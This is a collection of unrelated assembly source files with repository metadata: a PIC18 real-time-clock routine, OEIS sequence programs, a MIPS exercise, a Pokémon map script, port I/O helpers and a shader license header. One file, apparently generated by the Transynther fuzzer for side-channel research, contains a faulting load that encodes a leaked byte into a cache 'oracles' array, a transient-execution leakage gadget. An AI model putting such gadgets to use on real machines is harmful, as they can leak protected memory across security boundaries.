CALL _i2cStart
; .line 37; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 38; rtc.c i2cSend(address);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 39; rtc.c i2cSend(val >> 8);
MOVF r0x02, W
MOVWF r0x00
CLRF r0x03
BTFSC r0x00, 7
SETF r0x03
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 40; rtc.c i2cSend(val & 0x00FF);
CLRF r0x02
MOVF r0x01, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 41; rtc.c i2cStop();
CALL _i2cStop
MOVFF PREINC1, r0x03
MOVFF PREINC1, r0x02
MOVFF PREINC1, r0x01
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcStore code
_rtcStore:
; .line 25; rtc.c void rtcStore(unsigned char address, char val)
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVFF r0x01, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
MOVLW 0x03
MOVFF PLUSW2, r0x01
; .line 27; rtc.c i2cStart();
CALL _i2cStart
; .line 28; rtc.c i2cSend(0xD0);
MOVLW 0xd0
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 29; rtc.c i2cSend(address);
MOVF r0x00, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 30; rtc.c i2cSend(val);
MOVF r0x01, W
MOVWF POSTDEC1
CALL _i2cSend
MOVF POSTINC1, F
; .line 31; rtc.c i2cStop();
CALL _i2cStop
MOVFF PREINC1, r0x01
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__BCD2LowerCh code
_BCD2LowerCh:
; .line 17; rtc.c unsigned char BCD2LowerCh(unsigned char bcd)
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 20; rtc.c temp = bcd & 0x0F; //Making the Upper 4-bits
MOVLW 0x0f
ANDWF r0x00, F
; .line 21; rtc.c temp = temp | 0x30;
MOVLW 0x30
IORWF r0x00, F
; .line 22; rtc.c return(temp);
MOVF r0x00, W
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__BCD2UpperCh code
_BCD2UpperCh:
; .line 10; rtc.c unsigned char BCD2UpperCh(unsigned char bcd)
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
MOVFF r0x00, POSTDEC1
MOVLW 0x02
MOVFF PLUSW2, r0x00
; .line 13; rtc.c temp = bcd >> 4;
SWAPF r0x00, W
ANDLW 0x0f
MOVWF r0x00
; .line 14; rtc.c temp = temp | 0x30;
MOVLW 0x30
IORWF r0x00, F
; .line 15; rtc.c return(temp);
MOVF r0x00, W
MOVFF PREINC1, r0x00
MOVFF PREINC1, FSR2L
RETURN
; ; Starting pCode block
S_rtc__rtcInit code
_rtcInit:
; .line 6; rtc.c void rtcInit(void) {
MOVFF FSR2L, POSTDEC1
MOVFF FSR1L, FSR2L
; .line 7; rtc.c i2cInit();
CALL _i2cInit
MOVFF PREINC1, FSR2L
RETURN
; Statistics:
; code size: 1014 (0x03f6) bytes ( 0.77%)
; 507 (0x01fb) words
; udata size: 0 (0x0000) bytes ( 0.00%)
; access size: 6 (0x0006) bytes
end
|
||||
TheStack | c7128e743fcada3256db192e033044facc73923f | Assemblycode:Assembly | {"size": 967, "ext": "asm", "max_stars_repo_path": "programs/oeis/017/A017259.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/017/A017259.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/017/A017259.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 138.1428571429, "max_line_length": 907, "alphanum_fraction": 0.8624612203} | ; A017259: a(n) = (9*n + 8)^3.
; 512,4913,17576,42875,85184,148877,238328,357911,512000,704969,941192,1225043,1560896,1953125,2406104,2924207,3511808,4173281,4913000,5735339,6644672,7645373,8741816,9938375,11239424,12649337,14172488,15813251,17576000,19465109,21484952,23639903,25934336,28372625,30959144,33698267,36594368,39651821,42875000,46268279,49836032,53582633,57512456,61629875,65939264,70444997,75151448,80062991,85184000,90518849,96071912,101847563,107850176,114084125,120553784,127263527,134217728,141420761,148877000,156590819,164566592,172808693,181321496,190109375,199176704,208527857,218167208,228099131,238328000,248858189,259694072,270840023,282300416,294079625,306182024,318611987,331373888,344472101,357911000,371694959,385828352,400315553,415160936,430368875,445943744,461889917,478211768,494913671,512000000,529475129,547343432,565609283,584277056,603351125,622835864,642735647,663054848,683797841,704969000,726572699
mul $0,9
add $0,8
pow $0,3
|
||||
TheStack | 454ac519067133561d14f3fa463d1a0ba6202dae | Assemblycode:Assembly | {"size": 224, "ext": "asm", "max_stars_repo_path": "Miei-sorgenti/new/Prima lezione/Versione 2/storesum.asm", "max_stars_repo_name": "DigiOhhh/LabArchitettura2-2017-2018", "max_stars_repo_stars_event_min_datetime": "2019-03-06T13:26:10.000Z", "max_stars_repo_stars_event_max_datetime": "2019-03-06T13:26:10.000Z", "max_issues_repo_path": "Miei-sorgenti/new/Prima lezione/Versione 2/storesum.asm", "max_issues_repo_name": "DigiOhhh/LabArchitettura2-2017-2018", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Miei-sorgenti/new/Prima lezione/Versione 2/storesum.asm", "max_forks_repo_name": "DigiOhhh/LabArchitettura2-2017-2018", "max_forks_repo_forks_event_min_datetime": "2019-03-06T13:25:28.000Z", "max_forks_repo_forks_event_max_datetime": "2019-03-06T13:25:28.000Z"} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 18.6666666667, "max_line_length": 42, "alphanum_fraction": 0.6607142857} | # Si scriva il codice Assembly che:
# metta il valore 5 nel registro $s1;
# metta il valore 7 nel registro $s2;
# metta la somma dei due nel registro $s0.
.text
.globl main
main:
li $s1, 5
li $s2, 7
add $s0, $s1, $s2 |
||||
TheStack | 5c8982f9bb1a86f0531ed0a474ca82024af2e994 | Assemblycode:Assembly | {"size": 4070, "ext": "asm", "max_stars_repo_path": "maps/Route33.asm", "max_stars_repo_name": "Dev727/ancientplatinum", "max_stars_repo_stars_event_min_datetime": "2019-11-08T07:19:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-20T10:17:54.000Z", "max_issues_repo_path": "maps/Route33.asm", "max_issues_repo_name": "Dev727/ancientplatinum", "max_issues_repo_issues_event_min_datetime": "2020-01-11T17:00:40.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-14T01:27:38.000Z", "max_forks_repo_path": "maps/Route33.asm", "max_forks_repo_name": "Dev727/ancientplatinum", "max_forks_repo_forks_event_min_datetime": "2020-05-28T17:31:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-07T20:49:35.000Z"} | {"max_stars_count": 28, "max_issues_count": 13, "max_forks_count": 22, "avg_line_length": 19.380952381, "max_line_length": 147, "alphanum_fraction": 0.7963144963} | object_const_def ; object_event constants
const ROUTE33_POKEFAN_M
const ROUTE33_LASS
const ROUTE33_FRUIT_TREE
Route33_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
Route33LassScript:
jumptextfaceplayer Route33LassText
TrainerHikerAnthony:
trainer HIKER, ANTHONY2, EVENT_BEAT_HIKER_ANTHONY, HikerAnthony2SeenText, HikerAnthony2BeatenText, 0, .Script
.Script:
loadvar VAR_CALLERID, PHONE_HIKER_ANTHONY
endifjustbattled
opentext
checkflag ENGINE_ANTHONY
iftrue .Rematch
checkflag ENGINE_DUNSPARCE_SWARM
iftrue .Swarm
checkcellnum PHONE_HIKER_ANTHONY
iftrue .NumberAccepted
checkevent EVENT_ANTHONY_ASKED_FOR_PHONE_NUMBER
iftrue .AskAgain
writetext HikerAnthony2AfterText
buttonsound
setevent EVENT_ANTHONY_ASKED_FOR_PHONE_NUMBER
scall .AskNumber1
sjump .AskForPhoneNumber
.AskAgain:
scall .AskNumber2
.AskForPhoneNumber:
askforphonenumber PHONE_HIKER_ANTHONY
ifequal PHONE_CONTACTS_FULL, .PhoneFull
ifequal PHONE_CONTACT_REFUSED, .NumberDeclined
gettrainername STRING_BUFFER_3, HIKER, ANTHONY2
scall .RegisteredNumber
sjump .NumberAccepted
.Rematch:
scall .RematchStd
winlosstext HikerAnthony2BeatenText, 0
readmem wAnthonyFightCount
ifequal 4, .Fight4
ifequal 3, .Fight3
ifequal 2, .Fight2
ifequal 1, .Fight1
ifequal 0, .LoadFight0
.Fight4:
checkevent EVENT_RESTORED_POWER_TO_KANTO
iftrue .LoadFight4
.Fight3:
checkevent EVENT_BEAT_ELITE_FOUR
iftrue .LoadFight3
.Fight2:
checkevent EVENT_CLEARED_RADIO_TOWER
iftrue .LoadFight2
.Fight1:
checkflag ENGINE_FLYPOINT_OLIVINE
iftrue .LoadFight1
.LoadFight0:
loadtrainer HIKER, ANTHONY2
startbattle
reloadmapafterbattle
loadmem wAnthonyFightCount, 1
clearflag ENGINE_ANTHONY
end
.LoadFight1:
loadtrainer HIKER, ANTHONY1
startbattle
reloadmapafterbattle
loadmem wAnthonyFightCount, 2
clearflag ENGINE_ANTHONY
end
.LoadFight2:
loadtrainer HIKER, ANTHONY3
startbattle
reloadmapafterbattle
loadmem wAnthonyFightCount, 3
clearflag ENGINE_ANTHONY
end
.LoadFight3:
loadtrainer HIKER, ANTHONY4
startbattle
reloadmapafterbattle
loadmem wAnthonyFightCount, 4
clearflag ENGINE_ANTHONY
end
.LoadFight4:
loadtrainer HIKER, ANTHONY5
startbattle
reloadmapafterbattle
clearflag ENGINE_ANTHONY
end
.Swarm:
writetext HikerAnthonyDunsparceText
waitbutton
closetext
end
.AskNumber1:
jumpstd asknumber1m
end
.AskNumber2:
jumpstd asknumber2m
end
.RegisteredNumber:
jumpstd registerednumberm
end
.NumberAccepted:
jumpstd numberacceptedm
end
.NumberDeclined:
jumpstd numberdeclinedm
end
.PhoneFull:
jumpstd phonefullm
end
.RematchStd:
jumpstd rematchm
end
Route33Sign:
jumptext Route33SignText
Route33FruitTree:
fruittree FRUITTREE_ROUTE_33
HikerAnthony2SeenText:
text "I came through the"
line "tunnel, but I"
para "still have plenty"
line "of energy left."
done
HikerAnthony2BeatenText:
text "Whoa! You've got"
line "more zip than me!"
done
HikerAnthony2AfterText:
text "We HIKERS are at"
line "our best in the"
cont "mountains."
done
HikerAnthonyDunsparceText:
text "Hey, did you get a"
line "DUNSPARCE?"
para "I caught one too."
para "Take a look at it"
line "in the light. It's"
cont "got a funny face!"
done
Route33LassText:
text "Pant, pant…"
para "I finally got"
line "through that cave."
para "It was much bigger"
line "than I'd expected."
para "I got too tired to"
line "explore the whole"
para "thing, so I came"
line "outside."
done
Route33SignText:
text "ROUTE 33"
done
Route33_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 11, 9, UNION_CAVE_1F, 3
db 0 ; coord events
db 1 ; bg events
bg_event 11, 11, BGEVENT_READ, Route33Sign
db 3 ; object events
object_event 6, 13, SPRITE_POKEFAN_M, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_TRAINER, 2, TrainerHikerAnthony, -1
object_event 13, 16, SPRITE_LASS, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, Route33LassScript, -1
object_event 14, 16, SPRITE_FRUIT_TREE, SPRITEMOVEDATA_STILL, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route33FruitTree, -1
|
||||
TheStack | 865facf7c6edc7b5eb2761a808398ff049d88a92 | Assemblycode:Assembly | {"size": 6536, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_658.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_658.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_658.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 33.8652849741, "max_line_length": 2999, "alphanum_fraction": 0.6568237454} | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xe58, %rsi
lea addresses_WT_ht+0x8258, %rdi
nop
nop
nop
nop
cmp $31857, %r13
mov $34, %rcx
rep movsl
nop
nop
inc %rcx
lea addresses_normal_ht+0x1ae58, %rdi
nop
nop
nop
nop
nop
add $6972, %r14
movb $0x61, (%rdi)
nop
and %r14, %r14
lea addresses_WC_ht+0x6658, %rsi
lea addresses_normal_ht+0x14658, %rdi
nop
nop
nop
nop
nop
and $60207, %rax
mov $106, %rcx
rep movsb
nop
nop
nop
inc %rsi
lea addresses_normal_ht+0x6358, %r13
nop
nop
nop
nop
sub $43969, %rsi
movw $0x6162, (%r13)
nop
xor %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rbx
push %rsi
// Store
lea addresses_A+0xf048, %r13
nop
nop
nop
nop
dec %rsi
mov $0x5152535455565758, %r9
movq %r9, %xmm4
vmovups %ymm4, (%r13)
add %r9, %r9
// Store
lea addresses_D+0x1c158, %r9
nop
cmp $59464, %rbx
mov $0x5152535455565758, %r13
movq %r13, %xmm2
movups %xmm2, (%r9)
nop
nop
nop
cmp %rsi, %rsi
// Store
mov $0x5b99980000000058, %rsi
nop
nop
nop
nop
dec %r9
movl $0x51525354, (%rsi)
nop
dec %r14
// Store
lea addresses_normal+0xfd18, %rbx
nop
nop
cmp %r8, %r8
mov $0x5152535455565758, %rbp
movq %rbp, (%rbx)
nop
nop
nop
nop
nop
and $4416, %r9
// Store
lea addresses_WC+0x19c3d, %rbx
nop
xor $37007, %rsi
mov $0x5152535455565758, %r14
movq %r14, %xmm0
movups %xmm0, (%rbx)
nop
nop
nop
nop
cmp %rsi, %rsi
// Store
lea addresses_PSE+0x1a458, %r8
nop
nop
nop
nop
nop
cmp $54441, %rbx
movl $0x51525354, (%r8)
// Exception!!!
nop
mov (0), %r14
nop
nop
nop
nop
add %r14, %r14
// Faulty Load
mov $0x71cf470000000258, %rsi
nop
nop
add $38641, %r8
movntdqa (%rsi), %xmm3
vpextrq $0, %xmm3, %r13
lea oracles, %r9
and $0xff, %r13
shlq $12, %r13
mov (%r9,%r13,1), %r13
pop %rsi
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_NC', 'AVXalign': True, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}}
{'src': {'same': True, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 4461eef6388ce5864b7bc3cf46a7145a90119ed7 | Assemblycode:Assembly | {"size": 121, "ext": "asm", "max_stars_repo_path": "libpal/intel_64bit_ms64_masm/in_16.asm", "max_stars_repo_name": "mars-research/pal", "max_stars_repo_stars_event_min_datetime": "2020-01-06T23:53:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-01T08:58:21.000Z", "max_issues_repo_path": "libpal/intel_64bit_ms64_masm/in_16.asm", "max_issues_repo_name": "mars-research/pal", "max_issues_repo_issues_event_min_datetime": "2019-11-13T00:55:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-06T08:09:35.000Z", "max_forks_repo_path": "libpal/intel_64bit_ms64_masm/in_16.asm", "max_forks_repo_name": "mars-research/pal", "max_forks_repo_forks_event_min_datetime": "2019-11-15T16:56:22.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T10:14:17.000Z"} | {"max_stars_count": 26, "max_issues_count": 30, "max_forks_count": 14, "avg_line_length": 8.6428571429, "max_line_length": 22, "alphanum_fraction": 0.6280991736} | .code
pal_execute_in_16 proc
xor rax, rax;
mov rdx, rcx;
in ax, dx;
ret;
pal_execute_in_16 endp
end
|
||||
TheStack | cba223696c68bcb6492c79cd9daa1d8580df7b4a | Assemblycode:Assembly | {"size": 352, "ext": "asm", "max_stars_repo_path": "oeis/262/A262207.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/262/A262207.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/262/A262207.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 32.0, "max_line_length": 200, "alphanum_fraction": 0.7784090909} | ; A262207: a(n) = prime(n)^n mod n^n.
; Submitted by Christian Krause
; 0,1,17,97,1676,21241,214259,5020449,34808102,7233300201,46070142226,7806783217105,165239209697109,1608006723911113,48560388990668468,4867006141797699265,530779430908845468654,18442832496573633213385
mov $1,$0
seq $0,40 ; The prime numbers.
add $1,1
pow $0,$1
pow $1,$1
mod $0,$1
|
||||
TheStack | f386e3448289555c4a3828a614bfb8045497f1d0 | Assemblycode:Assembly | {"size": 247, "ext": "asm", "max_stars_repo_path": "programs/oeis/130/A130493.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/130/A130493.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/130/A130493.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 22.4545454545, "max_line_length": 104, "alphanum_fraction": 0.6720647773} | ; A130493: Triangle read by rows in which row n contains n! repeated n times.
; 1,2,2,6,6,6,24,24,24,24,120,120,120,120,120,720,720,720,720,720,720,5040,5040,5040,5040,5040,5040,5040
mov $1,1
lpb $0,1
sub $0,$1
trn $0,1
add $1,1
lpe
fac $1
|
||||
TheStack | c345ce383828c21dbd290bf7e2dcadb519d296ed | Assemblycode:Assembly | {"size": 112, "ext": "asm", "max_stars_repo_path": "src/main/fragment/mos6502-common/vdsm1=_sdword_vwsm2.asm", "max_stars_repo_name": "jbrandwood/kickc", "max_stars_repo_stars_event_min_datetime": "2022-03-01T02:21:14.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-01T04:33:35.000Z", "max_issues_repo_path": "src/main/fragment/mos6502-common/vdsm1=_sdword_vwsm2.asm", "max_issues_repo_name": "jbrandwood/kickc", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/main/fragment/mos6502-common/vdsm1=_sdword_vwsm2.asm", "max_forks_repo_name": "jbrandwood/kickc", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 2, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 9.3333333333, "max_line_length": 23, "alphanum_fraction": 0.5625} | // sign-extend the byte
lda {m2}
sta {m1}
lda {m2}+1
sta {m1}+1
ora #$7f
bmi !+
lda #0
!:
sta {m1}+2
sta {m1}+3
|
||||
TheStack | 55c10ed5f399c1da3ebd614d816ab70863a47170 | Assemblycode:Assembly | {"size": 8823, "ext": "asm", "max_stars_repo_path": "src/shaders/post_processing/gen5_6/Common/RGBX_Save_YUV_Fix.asm", "max_stars_repo_name": "me176c-dev/android_hardware_intel-vaapi-driver", "max_stars_repo_stars_event_min_datetime": "2018-01-26T11:51:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-25T20:04:19.000Z", "max_issues_repo_path": "src/shaders/post_processing/gen5_6/Common/RGBX_Save_YUV_Fix.asm", "max_issues_repo_name": "me176c-dev/android_hardware_intel-vaapi-driver", "max_issues_repo_issues_event_min_datetime": "2017-01-23T02:10:27.000Z", "max_issues_repo_issues_event_max_datetime": "2018-01-23T10:00:05.000Z", "max_forks_repo_path": "src/shaders/post_processing/gen5_6/Common/RGBX_Save_YUV_Fix.asm", "max_forks_repo_name": "me176c-dev/android_hardware_intel-vaapi-driver", "max_forks_repo_forks_event_min_datetime": "2018-01-30T19:51:53.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-24T01:26:14.000Z"} | {"max_stars_count": 192, "max_issues_count": 256, "max_forks_count": 64, "avg_line_length": 60.4315068493, "max_line_length": 125, "alphanum_fraction": 0.5451660433} | /*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sub license, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice (including the
* next paragraph) shall be included in all copies or substantial portions
* of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
* IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* This file was originally licensed under the following license
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Authors:
* Halley Zhao <[email protected]>
*/
